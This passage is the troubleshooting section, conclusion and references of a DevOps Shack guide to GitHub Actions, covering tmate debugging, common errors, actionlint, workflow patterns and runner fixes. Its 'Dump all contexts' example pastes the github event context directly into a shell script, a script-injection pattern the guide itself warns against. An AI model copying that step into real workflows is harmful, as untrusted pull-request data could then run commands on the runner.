Or use tmate to get an interactive SSH session into a failing runner:

```
- name: Setup tmate session on failure
  if: failure()
  uses: mxschmitt/action-tmate@v3
  with:
    limit-access-to-actor: true   # Only the triggering user can SSH in
```

7.2 Common Errors & Solutions

Error	Cause	Solution
'The process exited with code 1'	A step's command failed.	Examine the step's output above the error. Add set -x to bash scripts for verbose tracing.
'Resource not accessible by integration'	GitHub token lacks permissions.	Add the required permission under permissions: in the job or workflow.
'Repository not found or access denied'	Checkout failed on private dependency.	Ensure the GITHUB_TOKEN has read access, or use a PAT with repo scope.
'Cache not found'	No cache matching the key exists.	Expected on first run. Add restore-keys as a fallback. Check key construction.
'Workflow is not valid'	YAML syntax or schema error.	Use actionlint (see 7.3) to lint the workflow locally before pushing.
'No hosted runners available'	Runner queue is full.	Reduce workflow frequency, add concurrency limits, or add self-hosted runners.
'Input required and not supplied'	Required workflow_call input missing.	Pass all required inputs when calling the reusable workflow.

'Context access might be invalid'	Typo in context path.	Check context reference: github.event.pull_request.head.sha — case-sensitive.
'Error: Cannot connect to the Docker daemon'	Docker not available on runner.	Use ubuntu-latest; Docker is pre-installed. Self-hosted runners need manual Docker setup.

7.3 Linting Workflows with actionlint

actionlint is a static analysis tool for GitHub Actions workflow files. It catches type errors, undefined context variables, shellcheck issues, and more before you push.

```
# Install actionlint
brew install actionlint          # macOS
go install github.com/rhysd/actionlint/cmd/actionlint@latest  # Go

# Lint all workflow files
actionlint

# Lint a specific file
actionlint .github/workflows/ci.yml

# Use in CI to catch issues on PRs
# .github/workflows/lint-workflows.yml
jobs:
  actionlint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: raven-actions/actionlint@v2
```

7.4 Debugging Expressions

GitHub Actions expressions are evaluated at runtime. When they produce unexpected results, dump context data to understand what is available:

```
- name: Dump all contexts
  run: |
    echo '=== github context ==='
    echo '${{ toJson(github) }}'
    echo '=== env context ==='
    echo '${{ toJson(env) }}'
    echo '=== job context ==='
    echo '${{ toJson(job) }}'
    echo '=== steps context ==='
    echo '${{ toJson(steps) }}'
```

7.5 Common Workflow Patterns & Fixes

Prevent Duplicate Runs on Push + PR

```
on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

# Add a skip condition to avoid duplicate runs:
jobs:
  ci:
    if: github.event_name == 'push' ||
github.event.pull_request.head.repo.full_name == github.repository
    runs-on: ubuntu-latest
    ...
```

Handle Workflow Failures Gracefully

```
steps:
  - name: Run tests
    id: test
    run: npm test
    continue-on-error: true

  - name: Upload test report even on failure
    if: always()
    uses: actions/upload-artifact@v4
    with:
      name: test-results
      path: test-results/

  - name: Fail the job if tests failed
    if: steps.test.outcome == 'failure'
    run: exit 1
```

Retry Flaky Steps

```
- name: Run flaky integration test
  uses: nick-fields/retry@v3
  with:
    timeout_minutes: 10
    max_attempts: 3
    retry_wait_seconds: 30
    command: npm run test:integration
```

Skip Workflow Based on Commit Message

```
jobs:
  ci:
    if: "!contains(github.event.head_commit.message, '[skip ci]')"
    runs-on: ubuntu-latest
    steps:
      - run: echo 'Running CI...'

# Now any commit with '[skip ci]' in the message bypasses the workflow
```

7.6 Runner Troubleshooting

Self-Hosted Runner Offline

- Check the runner service status: sudo ./svc.sh status
- Review runner logs: _diag/ directory in the runner installation folder.
- Ensure the runner has outbound HTTPS access to github.com and *.actions.githubusercontent.com.
- Verify the runner token hasn't expired (tokens expire after 1 hour; runner registration doesn't expire).

Runner Disk Space Issues

```
- name: Free disk space
  run: |
    df -h
    docker system prune -af
    sudo apt-get clean
    sudo rm -rf /usr/share/dotnet /opt/ghc /usr/local/share/boost
    df -h
```

8. Conclusion

GitHub Actions has fundamentally changed how engineering teams approach automation. By embedding CI/CD directly into the platform where code lives, it eliminates the operational overhead of running separate CI infrastructure while providing a composable, extensible automation model that scales from a solo developer's open-source project to a Fortune 500 enterprise's multi-cloud deployment pipeline.

Throughout this guide, we have covered the complete spectrum of GitHub Actions capabilities:

7. Core architecture — events, runners, jobs, steps, and Actions.
8. First workflows — from a simple hello-world to a full CI/CD pipeline with Docker and AWS ECR.
9. Advanced features — matrix builds for multi-environment testing, dependency caching for speed, reusable workflows for DRY organisation-wide templates, and composite Actions for step-level reuse.
10. Security — OIDC-based keyless authentication eliminating static credentials, environment protection rules for production gates, secrets scoping, and script injection prevention.
11. DevSecOps integration — secrets scanning with Gitleaks, SAST with SonarQube, container vulnerability scanning with Trivy, and DAST with OWASP ZAP.
12. Best practices — token permissions, Action pinning, workflow organisation, naming conventions, and cost optimisation.
13. Troubleshooting — debug logging, actionlint, common error patterns, and self-hosted runner issues.

Key Takeaways

SECURITY: Always use OIDC over static credentials. Pin third-party Actions to commit SHAs. Never interpolate untrusted input into run: scripts. Use minimal permissions.

PERFORMANCE: Cache everything that takes more than 30 seconds to download or build. Parallelise jobs aggressively. Use ubuntu-latest for all platform-agnostic work.

ORGANISATION: One workflow per logical process. Use reusable workflows for shared templates. Document your workflows with comments. Follow consistent naming conventions.

What's Next

GitHub Actions continues to evolve rapidly. Features to watch in 2026 include:

- Larger hosted runners with up to 64 vCPUs and 256 GB RAM for heavy workloads.
- Actions Runner Controller (ARC) graduating to GA with improved auto-scaling.
- Enhanced OIDC claims for finer-grained trust policies.
- Improved workflow visualisation and real-time monitoring in the GitHub UI.
- GitHub-hosted ARM64 runners for native Apple Silicon and ARM server workloads.

The investment you make in building robust, secure, and well-organised GitHub Actions workflows pays compounding dividends: faster feedback loops, fewer production incidents, and a culture where automation is the default rather than the exception. DevOps is not a destination — it is a continuous practice. GitHub Actions is one of the finest tools available to support that practice.

— Aditya Jaiswal | DevOps Shack | devopsshack.com

9. References

Official Documentation

- GitHub Actions Documentation — https://docs.github.com/en/actions
- Workflow syntax reference — https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions
- Events that trigger workflows — https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows
- GitHub Actions Marketplace — https://github.com/marketplace?type=actions
- Security hardening for GitHub Actions — https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions
- Configuring OIDC in cloud providers — https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments
- Reusing workflows — https://docs.github.com/en/actions/sharing-automations/reusing-workflows
- Caching dependencies — https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/caching-dependencies-to-speed-up-workflows

Tools Referenced

- actionlint — Static checker for GitHub Actions workflow files: https://github.com/rhysd/actionlint
- Gitleaks — Secrets scanner: https://github.com/gitleaks/gitleaks
- Trivy — Container & IaC vulnerability scanner: https://github.com/aquasecurity/trivy
- SonarQube — SAST and code quality platform: https://www.sonarsource.com/products/sonarqube
- OWASP ZAP — Dynamic application security testing: https://www.zaproxy.org
- Actions Runner Controller — Kubernetes runner autoscaler: https://github.com/actions/actions-runner-controller
- tmate — Terminal sharing for SSH debug sessions: https://github.com/mxschmitt/action-tmate
- nick-fields/retry — Retry flaky steps: https://github.com/nick-fields/retry

DevOps Shack Resources

- Website: https://devopsshack.com
- YouTube: DevOps Shack — CI/CD, Kubernetes, Cloud tutorials
- Instagram: @devopsshack — Daily DevOps & AI content
- LinkedIn: Aditya Jaiswal —DevSecOps insights

- GitHub: https://github.com/jaiswaladi246 — Open-source projects and pipeline examples

DevOps Shack | GitHub Actions Documentation | Version 1.0 | March 2026